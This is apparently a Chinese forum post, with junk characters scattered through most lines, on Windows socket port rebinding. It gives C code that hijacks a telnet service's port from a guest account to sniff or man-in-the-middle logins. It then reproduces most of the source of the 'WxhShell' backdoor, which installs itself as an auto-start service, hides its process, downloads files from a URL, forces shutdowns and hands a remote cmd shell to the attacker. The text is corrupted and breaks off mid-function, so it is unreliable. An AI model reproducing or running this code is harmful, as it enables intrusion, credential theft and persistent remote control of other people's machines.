在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
V;: k- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_mqU:?Q5 eke[{%L saddr.sin_family = AF_INET;
+
+L7*1t i6#*y!3{ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SMZ*30i 1X)#iY bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Tksv7*5$ ZH
Q?{" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
')q0VaohC NZ1B#PG,c 这意味着什么?意味着可以进行如下的攻击:
{bXN[=j q1VKoKb6\: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
T~xVHk1 (u 7Lh>6% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
O!"K'Bm
:tZsSK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dUv@u!}B wH|%3@eJ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
cP?GRMX@} X;!*D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c[-N A 0cmd +` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|m-N5$\IC *y4g\#o. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
nuq@m0t\# A-r;5?S #include
h ;uzbu #include
YhH3f VM #include
zbFy3-R P #include
E 3'I; DWORD WINAPI ClientThread(LPVOID lpParam);
G u`xJ int main()
WHC/'kvF {
r-T1^u WORD wVersionRequested;
`<tRfl}qs DWORD ret;
fn<dr(Dx WSADATA wsaData;
JzEg`Sn^ BOOL val;
E{V?[HcWq SOCKADDR_IN saddr;
:P-H8*n"" SOCKADDR_IN scaddr;
iFUiw& int err;
iM8Cw/DS SOCKET s;
OmBM)g SOCKET sc;
w,IJ44f ^% int caddsize;
]+e
zg(C} HANDLE mt;
(3N/DY1/ DWORD tid;
5J`w8[; wVersionRequested = MAKEWORD( 2, 2 );
%X_A# 9 err = WSAStartup( wVersionRequested, &wsaData );
'
wl}) if ( err != 0 ) {
W"%n5) printf("error!WSAStartup failed!\n");
{mU%.5 return -1;
RZxh"lIo }
a?W5~?\9 saddr.sin_family = AF_INET;
;SXkPs3q +^9^)Ur| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BQfnoF )Cdw_Yx saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
uT]$R saddr.sin_port = htons(23);
c%5P|R~g]p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?Q_ @@) {
q# j[0,^ $ printf("error!socket failed!\n");
o135Xh$_>' return -1;
i5 r<CxS }
rT R$\ [C val = TRUE;
Cj#wY //SO_REUSEADDR选项就是可以实现端口重绑定的
<J d!`$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5 51_;,t {
2}<tzDI' printf("error!setsockopt failed!\n");
2Ug_3ZuU return -1;
fOMaTnm' }
#eYYu2ND //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6KGT?d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-|'@:cIZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-Jd7 7B0`.E^~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
MZ%J
]Nd {
i@:^b_ ret=GetLastError();
1R_@C.I printf("error!bind failed!\n");
w&IYCYK_ return -1;
O\7x+^. }
Q7u|^Gu,5 listen(s,2);
6c+29@ while(1)
~0CNCP {
h HHR]e5: caddsize = sizeof(scaddr);
8T"L'{ggWB //接受连接请求
G>pedE\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(w-"1( if(sc!=INVALID_SOCKET)
48,*sTRq {
O=}w1] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
MVMJl "> if(mt==NULL)
!43nL[] {
$-DW+|p.?^ printf("Thread Creat Failed!\n");
A23K!a2u& break;
eLT3b6'"? }
~V(>L=\V; }
6\l F CloseHandle(mt);
Q:)4 }
nGGw(6c%> closesocket(s);
mqeW,89 WSACleanup();
6MOwn*%5k return 0;
_9D]1f=& }
e3n^$'/\r DWORD WINAPI ClientThread(LPVOID lpParam)
pKXSJ"Xo {
\ MuKS4 SOCKET ss = (SOCKET)lpParam;
#HL$`&m SOCKET sc;
EE09 Er%\ unsigned char buf[4096];
>CG;df<~ SOCKADDR_IN saddr;
>#dLT~[\a long num;
Z3o HOy DWORD val;
x=0Ak'1M DWORD ret;
1f3g5y'z5 //如果是隐藏端口应用的话,可以在此处加一些判断
k4&adX@Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
3B[tbU( saddr.sin_family = AF_INET;
dDiy_Q6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
g&RhPrtl saddr.sin_port = htons(23);
`Zp*? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[W$x5|Z}Q {
$
^)g, printf("error!socket failed!\n");
0Runex[ return -1;
atZNX1LD[/ }
"o%okN val = 100;
:hOB
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y< gRl/e {
vy
[7I8f{ ret = GetLastError();
c-zW
2;|61 return -1;
l }
FM3.z)> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{uwPP2YD, {
gT[] "ZT7 ret = GetLastError();
)cgNf]oy return -1;
(|O(BxS }
4WlBQ<5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/W>?p@j+K {
TH>uL;?= printf("error!socket connect failed!\n");
r
*N@%T closesocket(sc);
Q_/UC#I8 closesocket(ss);
cl23y}J_? return -1;
XR=ebl }
U&^(%W# while(1)
;|= 5)KE {
/"!ck2d&1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Cjt].XR@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
-iy17$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
xE_~.EoB num = recv(ss,buf,4096,0);
|p/[sD+M if(num>0)
sNG 7fi.| send(sc,buf,num,0);
{o'(_.{ else if(num==0)
).Z
U0fV break;
,~=+]9t num = recv(sc,buf,4096,0);
SP=8v0 if(num>0)
}uD*\. send(ss,buf,num,0);
Hm 0;[i else if(num==0)
A;xH{vo{ break;
c8l\1ce?7 }
gBgaVG closesocket(ss);
9nd,8Nji closesocket(sc);
*wdNZ return 0 ;
TD ;u" }
Kr<a6BEv5 YFcMU5_F lE bV)&' ==========================================================
Q >h7H{c fob.?ID-; 下边附上一个代码,,WXhSHELL
&)Vuh= >.gT9 ==========================================================
_y [B/C,q 2j^8{Agz #include "stdafx.h"
V#&S&dn /jc;
2 #include <stdio.h>
){J ,Z*& #include <string.h>
_P_R`A)" #include <windows.h>
Re;[S[D7 #include <winsock2.h>
Zh:@AFz:R #include <winsvc.h>
RLh%Y>w #include <urlmon.h>
#FGj)pu MR":aT #pragma comment (lib, "Ws2_32.lib")
CTB
qX #pragma comment (lib, "urlmon.lib")
30cb+)h( %Bn n\{Az #define MAX_USER 100 // 最大客户端连接数
0#sf,ja> #define BUF_SOCK 200 // sock buffer
DS<E:'N #define KEY_BUFF 255 // 输入 buffer
x1+ V )"bP]t^_ #define REBOOT 0 // 重启
B%co`0$ #define SHUTDOWN 1 // 关机
9Kc;]2m (Ixmg=C6y #define DEF_PORT 5000 // 监听端口
s9b+uUt% e>HdJ"S` #define REG_LEN 16 // 注册表键长度
tiic>j\D #define SVC_LEN 80 // NT服务名长度
.P!pC FPAj}as // 从dll定义API
p?<T
_9e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
x]"N:t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;:~-=\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
l\bgp3.+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
c_6~zb?k+m h],l`lT1\ // wxhshell配置信息
$=!_ !tr struct WSCFG {
OLJ|gunA# int ws_port; // 监听端口
!y;xt?
char ws_passstr[REG_LEN]; // 口令
vcp[$-$QGJ int ws_autoins; // 安装标记, 1=yes 0=no
KFHcHz char ws_regname[REG_LEN]; // 注册表键名
l !R >I7 char ws_svcname[REG_LEN]; // 服务名
u$V@akk char ws_svcdisp[SVC_LEN]; // 服务显示名
mk`#\=GE char ws_svcdesc[SVC_LEN]; // 服务描述信息
DUs0L\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,h9N,bIQg int ws_downexe; // 下载执行标记, 1=yes 0=no
)O6_9f_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]%6XE) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Z&Z=24q_ &(X-b"2 };
'CjcFP LeXkl=CC // default Wxhshell configuration
WaDdZIz4 struct WSCFG wscfg={DEF_PORT,
V53iWWaFe "xuhuanlingzhe",
D"s
]dQ$r 1,
68a "Wxhshell",
-]Q6Ril "Wxhshell",
Xa=oEG "WxhShell Service",
I#:4H2H6 "Wrsky Windows CmdShell Service",
-*0U&]T "Please Input Your Password: ",
|s[k= /~" 1,
iFB {a?BE "
http://www.wrsky.com/wxhshell.exe",
iy,jq5uw "Wxhshell.exe"
j
!rQa^ };
tq8rG@-C 2)R*d // 消息定义模块
a*UxRi8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!L55S03 char *msg_ws_prompt="\n\r? for help\n\r#>";
ty)~]!tA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
sy+tLDMd char *msg_ws_ext="\n\rExit.";
%1PNP<3r0 char *msg_ws_end="\n\rQuit.";
:J;*]o: char *msg_ws_boot="\n\rReboot...";
\oV g(J&o char *msg_ws_poff="\n\rShutdown...";
GPU,.s"&( char *msg_ws_down="\n\rSave to ";
hT$/ B| CoQ<Ky}* char *msg_ws_err="\n\rErr!";
:)Z.! char *msg_ws_ok="\n\rOK!";
b#{[Pk,w9 K Fn[ char ExeFile[MAX_PATH];
drf?7%v int nUser = 0;
Z/[ww8b. HANDLE handles[MAX_USER];
~g|z7o int OsIsNt;
#bdSH)V -ZE]VO*F SERVICE_STATUS serviceStatus;
C\5"Kb SERVICE_STATUS_HANDLE hServiceStatusHandle;
~BD 80s:f ZuVucP>>_d // 函数声明
m\ (crkN
int Install(void);
#TKByOcD2! int Uninstall(void);
z+qrsT/?L int DownloadFile(char *sURL, SOCKET wsh);
qHra9yuSh int Boot(int flag);
)Vnqz
lI5 void HideProc(void);
2:Q2w3Xe int GetOsVer(void);
w4\g]\ int Wxhshell(SOCKET wsl);
/4#A|;d_ void TalkWithClient(void *cs);
.Fn7yTQ% int CmdShell(SOCKET sock);
;UDd4@3`S" int StartFromService(void);
4lpkq int StartWxhshell(LPSTR lpCmdLine);
s&~i S[ 4ai|*8. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_|vY)4B4U VOID WINAPI NTServiceHandler( DWORD fdwControl );
<gbm
1iEe `_5{:
9N$ // 数据结构和表定义
wYLJEuS| SERVICE_TABLE_ENTRY DispatchTable[] =
0l>4Umxr{J {
-k"5GUc| {wscfg.ws_svcname, NTServiceMain},
>]S-a-|Bp {NULL, NULL}
_ -C{:rV };
1wM~),B8 E)utrO R // 自我安装
{S5HH" int Install(void)
<vUhJgN2/ {
FJ(}@U}57 char svExeFile[MAX_PATH];
AvEd? HKEY key;
W]=$0' strcpy(svExeFile,ExeFile);
Y>2kOE Yl0_?.1 z // 如果是win9x系统,修改注册表设为自启动
! 4{T<s;q if(!OsIsNt) {
"$rmy>d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<WRrB
`nO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f{eMh47 NC RegCloseKey(key);
U
*']7- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E|l qlS7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=& =#G3f RegCloseKey(key);
y?@(%PTp return 0;
|?/,ED+|>D }
;{hE]jReH }
nH7i)!cI~ }
xN=:*#Z"pb else {
[$AOu0J KBkS>0;X // 如果是NT以上系统,安装为系统服务
T+U,?2nF: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>,)tRQS if (schSCManager!=0)
;ro%Wjg`} {
:FqHMN SC_HANDLE schService = CreateService
U>=&
2Z2? (
Q%
LQP!Kg schSCManager,
qrZ*r{3 wscfg.ws_svcname,
, UiA?7k wscfg.ws_svcdisp,
]'!$T72 SERVICE_ALL_ACCESS,
1O@
D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
N#zh$0!8bJ SERVICE_AUTO_START,
TZYz`l+v SERVICE_ERROR_NORMAL,
~gJJ@j 0n svExeFile,
<b$.{&K NULL,
}6!*H! NULL,
2{fPQQ;# NULL,
iX\]-_D NULL,
T99\R% NULL
.`Rju|l );
nYbI =_- if (schService!=0)
A4`3yy{0- {
z)&ZoSXWc CloseServiceHandle(schService);
tEE4"OAy CloseServiceHandle(schSCManager);
G~N$bF^R) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*N!>c&8 strcat(svExeFile,wscfg.ws_svcname);
N497"H</ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
I`
+%ab RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|VxO ,[~ RegCloseKey(key);
s%l`XW;v return 0;
?KMGk]_< }
1sN >U< }
(D1$ & CloseServiceHandle(schSCManager);
moT*r?l }
k;c>=B)e }
^I]A@YNni %e|.a)78 return 1;
)$oboAv# }
a15kFun .tH[A[/1 a // 自我卸载
.\:{6_ int Uninstall(void)
]mSkjKw {
t],5{UF HKEY key;
Z/~7N9?m( cH>3|B*y if(!OsIsNt) {
yON";|*\m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T>qI,BEY RegDeleteValue(key,wscfg.ws_regname);
}G53" RegCloseKey(key);
B9i<="=p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C^8n;i9 RegDeleteValue(key,wscfg.ws_regname);
|E5\_Z RegCloseKey(key);
I@jXW>$ return 0;
,wPvv(b]a }
xR`M#d5" }
yHIZpU|(j }
|h(05Kbk else {
tVFydN~ M'-Z" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V4>qR{5 if (schSCManager!=0)
)o%sN'U,1 {
Lk>o`<* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DL]\dD if (schService!=0)
|';oIYs|$ {
?@YABl if(DeleteService(schService)!=0) {
S?K x:] CloseServiceHandle(schService);
%|\Af>o4d CloseServiceHandle(schSCManager);
|p\vH#6y+ return 0;
xq-TT2}<L }
pf[m"t6G~ CloseServiceHandle(schService);
sm9/sX! }
u-%|ZSg CloseServiceHandle(schSCManager);
Wi%e9r{hU }
rS&"UH?c7 }
Wt
1]9{$ |(77ao3 return 1;
dJ&f +
}
Ka+N5 T.f '%y5Dh // 从指定url下载文件
Q$lgC
v^M int DownloadFile(char *sURL, SOCKET wsh)
<7R+p;y {
ayK?\srw HRESULT hr;
q\]"}M8 char seps[]= "/";
vn(ji= char *token;
}Md5a%s< char *file;
fs,]%g^ char myURL[MAX_PATH];
o<Y[GW1pg char myFILE[MAX_PATH];
:HW\awv PPMAj@B}V strcpy(myURL,sURL);
Wkj0z]]? token=strtok(myURL,seps);
&8xwR while(token!=NULL)
3<R8_p {
lGZf_X)gA^ file=token;
XS oHh- token=strtok(NULL,seps);
4Mck/i2 }
t$zeBOI) c%x9.s<+1 GetCurrentDirectory(MAX_PATH,myFILE);
1];OGJuJ2 strcat(myFILE, "\\");
.4O~a strcat(myFILE, file);
7Adg; send(wsh,myFILE,strlen(myFILE),0);
J_`a}ox send(wsh,"...",3,0);
tQ7:4._ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)~2~q7 if(hr==S_OK)
7GG:1:2+> return 0;
>O$JS, else
y)*W!]:7^> return 1;
u0{R;) z`esst\aV }
rJKac"{ ~`c(7 // 系统电源模块
T:=ST3#m int Boot(int flag)
=;A>1g$ {
oo-O>M#5 HANDLE hToken;
KJP}0|[ TOKEN_PRIVILEGES tkp;
qLWM,[Og Mfinh@K, if(OsIsNt) {
l?<DY$H
0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
'dvi@Jx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
J|=0 :G tkp.PrivilegeCount = 1;
5`\"UC7?% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/hp
[ +K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%Kzu&*9Hb if(flag==REBOOT) {
U~I
y),5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Rv)*Wo!L return 0;
nI7v:h4 }
A~M .v0 else {
x^~@`]TV^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8.ej65r* return 0;
J?"v;.K|hU }
X+[h]A }
^d@ME<mb else {
U
uEm{ if(flag==REBOOT) {
Dt:NBN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Iq@&?,W return 0;
Z_Y'
3'^Tw }
@fh:lsw else {
LMHiiOs, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~+S,`8-P return 0;
DI0Wk^ m }
Pe/8=+qO }
6lob&+ ?M BOd9 return 1;
AwtiV-w }
`R
m<1
Xf{ht%b // win9x进程隐藏模块
\OE,(9T2P. void HideProc(void)
wJF(&P {
XIBm8IkF g#lMT% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
kca#ssN if ( hKernel != NULL )
/*e6('9s {
~?zu5,vb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~xt]g zp{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
"h7Np/ m3 FreeLibrary(hKernel);
^H`4BWc }
4L/nEZ!Nsu t03T1.:(Mg return;
66{Dyn7J~ }
Ia j`u
4 z^7T // 获取操作系统版本
3R<VpN){ int GetOsVer(void)
PwnfXsR {
dR!x)oO= OSVERSIONINFO winfo;
SZD7"m4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
B|ctauJ GetVersionEx(&winfo);
UetI4` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{RN-rF3w return 1;
sB0m^Y' else
JH._/I
return 0;
3}5Ya\x }
}CM#jN?( BVG.ZZR}) // 客户端句柄模块
2(km]H^ int Wxhshell(SOCKET wsl)
I#/"6%e {
q{l %k SOCKET wsh;
2$Umqt struct sockaddr_in client;
PIHKSAnq DWORD myID;
?tkl
cYB MDCwgNPiQW while(nUser<MAX_USER)
>Z>sR0s7 {
xbzO'C int nSize=sizeof(client);
A [_T~+-G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
xg;vQKS6 if(wsh==INVALID_SOCKET) return 1;
; sAe#b V3<#_:; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8&SWQ if(handles[nUser]==0)
Q})&c.L closesocket(wsh);
QYps5zcn else
\Nj#1G nUser++;
*^:s!F }
{wD:!\5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
e"|ZTg+U :cKdl[E4z return 0;
LKgo(&mY }
<6&Z5mpm$w q;.LK8M // 关闭 socket
45H9pY w void CloseIt(SOCKET wsh)
]fSpG\yU {
Q@[ (0R1 closesocket(wsh);
U~w8yMxX nUser--;
KGGJ\r6 ExitThread(0);
<B!DwMk;. }
ee{K5 G 1[!7xA0 j // 客户端请求句柄
:OV6R, void TalkWithClient(void *cs)
U+[h^M$U {
j>G|Xv 5|Oj\L{ SOCKET wsh=(SOCKET)cs;
{E.A?yej9 char pwd[SVC_LEN];
B:ugEAo_ char cmd[KEY_BUFF];
N%9?8X[5 char chr[1];
y?Pw6;e. int i,j;
{a]u
EUW>8kw0 while (nUser < MAX_USER) {
h:i FLS f HGF&'@dn if(wscfg.ws_passstr) {
vXg^K}a# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_<'?s>(U' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T1%}H3 //ZeroMemory(pwd,KEY_BUFF);
xT-`dS0u i=0;
OHt^e7\ while(i<SVC_LEN) {
TLq^5,qG 6?a z // 设置超时
.yHi"ss3 fd_set FdRead;
=t
%;mi,M struct timeval TimeOut;
Ii!{\p! FD_ZERO(&FdRead);
3R%yKa# FD_SET(wsh,&FdRead);
i:Gyi([C TimeOut.tv_sec=8;
~=9S AJr] TimeOut.tv_usec=0;
Qe_C^(P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Rm`P.;% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
TW}].A_- ^fE8|/]nG9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
IY|`$sHb pwd
=chr[0]; `VF_rC[?
if(chr[0]==0xd || chr[0]==0xa) { S0ltj8t
pwd=0; :KqSMuKR
break; <sSH^J4QqX
}
Tj}%G
i++; FiSx"o
} ~V0 GRPnI
\jb62Jp
// 如果是非法用户,关闭 socket +No` 89Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pG22Nx
} K"ly\$F
@>&b&uj7T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x~F YG
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u8gqWsvruM
0`Uw[Er&
while(1) { =Y*@8=V
"{Hl! Zq/
ZeroMemory(cmd,KEY_BUFF); <[$a7l i
z#lIu
// 自动支持客户端 telnet标准 *=tA },`\7
j=0; y6Ez.$M
while(j<KEY_BUFF) { LW#U+bv]Dq
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +S'm<}"1
cmd[j]=chr[0]; 8_pyfb
if(chr[0]==0xa || chr[0]==0xd) { nJ$2RN
cmd[j]=0; }2S)CL=
break; {R"mvB`
} {`-AIlH(
j++; Hp5.F>-
} vy`
lfbX@
CR;E*I${
// 下载文件 nw#AKtd@x
if(strstr(cmd,"http://")) { Nw(hN+_u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qg0%rbE
if(DownloadFile(cmd,wsh)) (" +clb`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {,1>(
else 8|Ob7+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <[w5M?n8
} hj{)6dBX%
else { bYqv)_8
;+bF4r@:+
switch(cmd[0]) { 4iZg2"[D
[WV&Y,E
// 帮助 mg" _3].j
case '?': { `jyyRwSoe
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *!E~4z=
break;
Frz
} #l@P}sHXq
// 安装 7{7Y[F0
case 'i': { r4<As` &
if(Install()) ;-BN~1Jg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<bhH=6~
else hwA&SS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r^H,H'BohJ
break; q*tGlM@R?
} !\'H{,G
// 卸载 $G{j[iLY
case 'r': { %nG>3.%
if(Uninstall()) C+"c^9[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |MagK$o
else kR:kn:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \m+=|
break; #`!mQSK
} agE-,
// 显示 wxhshell 所在路径 +H *6:
case 'p': { 587;2
char svExeFile[MAX_PATH]; <Q"G
aqZ
strcpy(svExeFile,"\n\r"); fK *l?Hr
strcat(svExeFile,ExeFile); w%..*+P
send(wsh,svExeFile,strlen(svExeFile),0); JYmYX-
break; '.<c[Mp
} cd=|P?Bi
// 重启 q'4P/2)va
case 'b': { fD3'Ye<R
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^,FG9
if(Boot(REBOOT)) z] -m<#1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &328pOT4
else { ww[||
=
closesocket(wsh); BkPt 1i
ExitThread(0); H_Va$}8z
} gK@`0/k{
break; !3\$XK]5ZT
} M d8(P23hS
// 关机 +\;Ro18?
case 'd': { W7gY$\1<&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4:^MSgra
if(Boot(SHUTDOWN)) pLCS\AUTsv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uB3VCO.;_
else { $ZZ?*I
closesocket(wsh); nnvS.s`O
ExitThread(0); !]Qk?T~9-
} B~|]gd
break; R9Wr?
} Gqc6]{
// 获取shell oylQCbT
case 's': { .MRN)p
CmdShell(wsh); 5f?GSHA}
closesocket(wsh); *W`7JL,
ExitThread(0); uv8kea .(
break; u[PG/ploc
} aXG|IN5 *m
// 退出 i+_=7(e
case 'x': { aG#d41O
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VzIZT{
CloseIt(wsh); HY1K(T
break; 8x LXXB
} x}Lj|U$r<X
// 离开 <
W`gfpzO
case 'q': { pL}
F{G.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); g|->W]q@;
closesocket(wsh); 8y
WSACleanup(); *o\AP([@
exit(1); 9S[.ESI{>
break; kB=B?V~#
} {dh,sbl
} H&%oHyK
} TwVkI<e0s?
8_G6X\q};
// 提示信息 O[eU{;P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X}i2 qv
} /;/:>c
} Y`{62J8oy
MRK=\qjD
return; (*=>YE'V{
} g6aqsa
/W-ges
// shell模块句柄 S[yrGX8lu
int CmdShell(SOCKET sock) VpAwvMw
{ @mv
G=:k
STARTUPINFO si; kksffzG
ZeroMemory(&si,sizeof(si)); [!wJIy?,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iY?#R&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q~5zv4NX
PROCESS_INFORMATION ProcessInfo; bZ:+q1
D
char cmdline[]="cmd"; *PV7s
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (V&d:tW
return 0; X>Q4 4FV!
} K(PSGlI f
]!P8 {xmb@
// 自身启动模式 MzgP@tB
int StartFromService(void) "S6";G^I
{ V|B4lGS&
typedef struct Zi7cp6~7
{ OIpT9
DWORD ExitStatus; \'[tfSB
DWORD PebBaseAddress; ~@PD\
DWORD AffinityMask; [7HBn
DWORD BasePriority; 1 I.P7_/
ULONG UniqueProcessId; (ER9.k2
